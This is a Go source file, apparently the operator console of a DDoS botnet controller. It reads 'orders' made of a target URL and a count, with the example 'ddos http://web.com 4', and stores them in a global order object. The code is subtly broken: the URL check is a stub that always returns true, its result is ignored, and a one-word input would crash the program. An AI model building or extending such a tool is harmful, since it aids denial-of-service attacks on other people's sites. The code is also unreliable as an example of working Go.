package main
|
|
|
|
import (
|
|
"bufio"
|
|
"fmt"
|
|
"os"
|
|
"strconv"
|
|
"strings"
|
|
)
|
|
|
|
//validURL checks if an url is a valid url
|
|
func validURL(url string) bool {
|
|
return true
|
|
}
|
|
func consoleInput() { //example: ddos http://web.com 4
|
|
newcommand := bufio.NewReader(os.Stdin)
|
|
for {
|
|
fmt.Print("enter new order ([target] [count]): ")
|
|
text, _ := newcommand.ReadString('\n')
|
|
text = strings.TrimSpace(text)
|
|
if text != "" {
|
|
fmt.Println("console input command: " + text)
|
|
t := strings.Split(text, " ")
|
|
count, err := strconv.Atoi(t[1])
|
|
if err != nil {
|
|
fmt.Println("[error]: count parameter must be an integer")
|
|
continue
|
|
}
|
|
if t[0] == "null" || t[0] == "none" {
|
|
t[0] = ""
|
|
}
|
|
if validURL(t[0]); count >= 0 {
|
|
currentOrder.Target = t[0]
|
|
currentOrder.Count = count
|
|
fmt.Println(currentOrder)
|
|
}
|
|
}
|
|
}
|
|
}
|